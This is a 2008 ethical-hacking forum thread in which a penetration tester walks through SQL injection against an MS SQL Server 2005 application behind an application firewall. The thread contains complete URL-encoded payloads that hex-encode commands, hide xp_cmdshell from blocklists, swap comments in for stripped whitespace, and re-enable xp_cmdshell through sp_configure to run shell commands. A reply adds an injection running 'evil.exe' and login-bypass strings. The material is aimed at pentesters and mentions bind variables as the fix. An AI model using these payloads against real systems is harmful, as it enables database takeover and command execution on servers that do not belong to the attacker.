Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 36 guests and 2 members online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Web Applicationsarrow SQL Injection 201: Hacking the Application Firewall
EH-Net
May 25, 2013, 08:44:33 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: SQL Injection 201: Hacking the Application Firewall  (Read 13968 times)
0 Members and 1 Guest are viewing this topic.
Simon
Newbie
*
Offline Offline

Posts: 18



View Profile WWW
« on: August 21, 2008, 05:26:10 PM »

OK...by request, here goes (warning:  gets a bit technical):


The Situation:
You have a web application (say, http://hackme.com). 
You've identified a page on it that is vulnerable to SQL Injection (say, http://hackme.com/hacked.cfm?id=123)


Your Knowledge (via error messages and/or information gathering):
The target is running MS SQL Server 2005
The target is running an application firewall (let's say ISS, though it could just as easily be Barracuda or others)
The "id" field in the URL is passed verbatim into a dynamic SQL query as an integer (bad developer, no cookie!)
The developer (not wanting to be hacked), passes all user input through a filter that pads single quotes (adding an additional single quote so that it's treated as a literal)
The developer (really not wanting to be hacked), strips all whitespace (internal and external) from input
Developers being developers, we believe that the web application connects to the database as a user with administrative privileges


Your Goals:
Get access to the command line on the database server (via xp_cmdshell, of course)
Take over the server
Expand your access out into the network
Conquer the planet

For the purposes of this discussion, we'll leave it at wanting to get something along the following lines to execute in the database:

exec master..xp_cmdshell 'echo pwn3d>hack.txt'

Not terribly exciting, but it shows all the access we need to accomplish all of the above (with the possible exception of conquering the planet).


Problems:
Every application firewall on the planet will pick up on xp_cmdshell
Padding of single quotes, while not preventing us from injecting on a numeric field, does make life difficult for passing string-based arguments to functions in our SQL
Removing all whitespace from our input ticks us off and prevents normal SQL from executing
MS SQL Server 2005 disables xp_cmdshell by default.   It has to be explicitly enabled before anyone (even sa) can call it.


The Hack:
First off, we deal with those pesky single quotes.   Little known fact:  SQL Server will treat hex as a varchar.   So the following are equivalent:

'echo pwn3d>hack.txt'
0x6563686F2070776E33643E6861636B2E747874

This changes the string that we want to execute to:

exec master..xp_cmdshell 0x6563686F2070776E33643E6861636B2E747874

Ok...so far so good (no single quotes)....but there's still that application firewall (that hideously expensive appliance designed to keep us from doing exactly what we're looking to do).

Application firewalls (even the big, expensive ones) effectively operate off of black lists.   Powerful, somewhat dynamic black lists, but black lists nonetheless.   While they will definitely pick up on "xp_cmdshell", we may be able to write things in a way that they don't know about.

Enter Transact SQL (in this case)....plus a second little known fact:  the "exec" statement can take an nvarchar as an argument.   So we write some TSQL  (note, the hex for xp_cmdshell is 0x78705F636D647368656C6C):

Code:
declare @v as varchar(2048)
declare @n as nvarchar(2048)
set @v = 0x78705F636D647368656C6C
set @n = cast(@v as nvarchar)
set @v = 0x6563686F2070776E33643E6861636B2E747874
execute @n @v


I use "execute" rather than "exec" as some application firewalls (*cough*Barracuda*cough*) will pick up on "exec" as perl command line injection.

Finally, we deal with that pesky stripping of whitespace.   Little known fact number 3:  SQL Server will treat inline comments as whitespace, so "SELECT * FROM sysobjects" and "SELECT/**/*/**/FROM/**/sysobjects" are the same.   Applying this to our TSQL, we get the marvelously hideous string:

Code:
declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/=/**/0x78705F636D647368656C6C/**/set/**/@n=cast(@v/**/as/**/nvarchar)/**/set/**/@v=0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v

Dropping this into our URL (and URL-encoding), we get:
Code:
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--

We hit this page and.....DRAT!   It doesn't work.   They must not have enabled xp_cmdshell on the SQL Server 2K5.

Never fear, this is why life is fun.   If you have admin privileges, you can enable xp_cmdshell via the following:

sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure

Note that you can't call CONFIG (a.k.a. reconfigure) during a user transaction, so you'll want to do some commits.

Applying what we learned above, we can make a new statement:

Code:
http://hackme.com/hack.cfm?id=1;commit;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x73686F7720616476616E636564206F7074696F6E73/**/execute/**/@n/**/@v,1;commit;reconfigure;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x78705F636D647368656C6C/**/execute/**/@n/**/@v,1;commit;reconfigure;+--

Then, our nefarious work done, we call our newly enabled xp_cmdshell:

Code:
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--



Conclusions:
The above code is one means to an end.   There's a large number of variations on this (PL-SQL, Java, other forms of T-SQL, etc.).  The main gist is that you're passing information into the App Firewall that it has no idea what to do with (it's not in the black list), so it lets it go.   This is not a flaw in the application firewall....it's just the nature of the beast.

If you can get one of the T-SQL statements to go through, you can execute any SQL that you want -- all of the actual "work" is done in the hex strings.

I've done pretty much this exact attack on numerous clients (most recently just this week) to take over the database server, establish a command shell, and proceed to expand out into the network.
« Last Edit: August 21, 2008, 05:33:24 PM by Simon » Logged

C|EH, ECSA, C|EI
http://www.halock.com
Dark_Knight
Sr. Member
****
Offline Offline

Posts: 292


View Profile WWW
« Reply #1 on: August 21, 2008, 07:46:20 PM »

Interesting stuff. Would this work against applications that use stored procedures? So instead of using the parameters passed on the url directly in a dynamic query I would pass it as a variable to a stored procedure.
ex.
create procedure HackProof
 @parm as varchar(10),
 @parm2 as varchar(10)
begin
  select data
    from table
   where field  = @parm
     and field2 = @parm2
end
« Last Edit: August 21, 2008, 08:15:45 PM by Dark_Knight » Logged

CEH, OSCP, GPEN, GWAPT, GCIA
http://sector876.blogspot.com
Simon
Newbie
*
Offline Offline

Posts: 18



View Profile WWW
« Reply #2 on: August 21, 2008, 08:48:05 PM »

Certainly -- it all depends on how the stored procedure is called by the code.   If the code uses dynamic SQL, then the only thing stored procedures protect you from is bundling additional data into the original query (ala "UNION ALL" or equality statements).

If parm1 and parm2 in your example above were passed in via a query string along the lines of:  http://hackme.com/hack.cfm?parm1=foo&parm2=bar, injection on parm2 would go along the lines of:

http://hackme.com/hack.cfm?parm1=foo&parm2=bar');+exec+master..xp_cmdshell+'evil.exe'+--
Logged

C|EH, ECSA, C|EI
http://www.halock.com
BillV
Hero Member
*****
Offline Offline

Posts: 1892


View Profile WWW
« Reply #3 on: August 21, 2008, 09:46:16 PM »

Nice post, Simon. Very interesting and well done Smiley Thanks
Logged
LSOChris
Guest
« Reply #4 on: August 21, 2008, 10:15:50 PM »

i need to digest most of that but the key part of the hack is that the database is running as a priv user correct? and you see that alot?  is there a good reason people are still doing that?

Logged
Simon
Newbie
*
Offline Offline

Posts: 18



View Profile WWW
« Reply #5 on: August 22, 2008, 01:28:15 AM »

The privileged account is what allows you to get at xp_cmdshell (eventually), which is what gives you the ability to expand your influence from the database to the server itself (and then the world).   I see that often.  Normally just laziness on the part of the developer, I guess....or lack of knowledge.

That's part of the hack.   Other parts are bypassing the developer's "protection" -- padding single quotes (which I see often), removing whitespace (which I see VERY often in older apps).  And, of course, bypassing the application firewall, which just takes a little ingenuity to write SQL that doesn't look like SQL to the firewall (and is therefore allowed).

To expand a little on the stored proc comment above, if the developer is using bind variables in his code (the recommended practice), then there is no possibility for SQL Injection.   This statement holds whether or not he is calling a stored proc or a simple SELECT statement.   If the developer is not using bind variables and is inserting user input directly into the SQL statement being executed, then the use of stored procs does not protect you from SQL injection -- all it does is forces the injection to go (mostly) into batch queries.  Consider the following:

SELECT * FROM users WHERE username = '$user$' AND password = '$pass$'

sp_login('$user$', '$pass$')

in the first statement, you have full control.   Inject into $user$ and you can change the statement to:

SELECT * FROM users WHERE username = 'foo' OR 'a' = 'a' -- AND password = 'bar'

Injected value:  $user$ = "foo' OR 'a' = 'a' --"

Or really anything else that you want....including batch statements.

In the second statement, you can't inject into the parameter itself, you have to close out the stored proc call in order to get valid SQL, so injecting into $user$ becomes:

sp_login('foo', null); exec xp_somethingbad 'other params'; -- 'bar');

Injected value:  $user$ = "foo', null); exec xp_something bad 'other params'; --"
« Last Edit: August 22, 2008, 01:30:57 AM by Simon » Logged

C|EH, ECSA, C|EI
http://www.halock.com
Andrew Waite
Hero Member
*****
Offline Offline

Posts: 928



View Profile WWW
« Reply #6 on: August 22, 2008, 03:12:47 AM »

Simon,

great post, I'm with Chris in that it's going to take a while to digest everything as most of what you discuss is fairly new to me (and I'm late to the web app game as a whole).

Really interesting read.
RR
Logged

Dark_Knight
Sr. Member
****
Offline Offline

Posts: 292


View Profile WWW
« Reply #7 on: August 22, 2008, 08:18:12 AM »

Very informative post Simon.Very informative............
Logged

CEH, OSCP, GPEN, GWAPT, GCIA
http://sector876.blogspot.com
BillV
Hero Member
*****
Offline Offline

Posts: 1892


View Profile WWW
« Reply #8 on: January 20, 2009, 02:57:56 PM »

I just received a copy of the TRUST newsletter for the month and thought the SQL Injection article sounded very familiar... come to find out, there's a link back to EH-Net at the bottom.

Nice job Smiley

BillV

Link to the Newsletter: TRUST January 2009 (article is on page 7)
« Last Edit: January 20, 2009, 02:59:49 PM by BillV » Logged
charlottebandit
Newbie
*
Offline Offline

Posts: 49


View Profile
« Reply #9 on: February 12, 2009, 11:36:04 PM »


Excellent post Simon!  You're right that most web app f/w's work off blacklists which doesn't allow much room for proactive thinking.  Although you can enter in your custom scripts, most wouldn't know how to do that nor have the time to look into that.

Logged

MS, CCSP, CCNP, CCDP, CEH, CHFI, CPTS
jason
Hero Member
*****
Offline Offline

Posts: 1012



View Profile WWW
« Reply #10 on: February 13, 2009, 08:02:45 PM »

Good stuff Simon. Keep it coming!
Logged
timmedin
Sr. Member
****
Offline Offline

Posts: 469



View Profile WWW
« Reply #11 on: February 17, 2009, 11:16:50 PM »

Didn't know you could do a reconfigure in like that. Nice!
Logged

twitter.com/timmedin | http://blog.securitywhole.com
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.087 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Free Business and Tech Magazines and eBooks

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.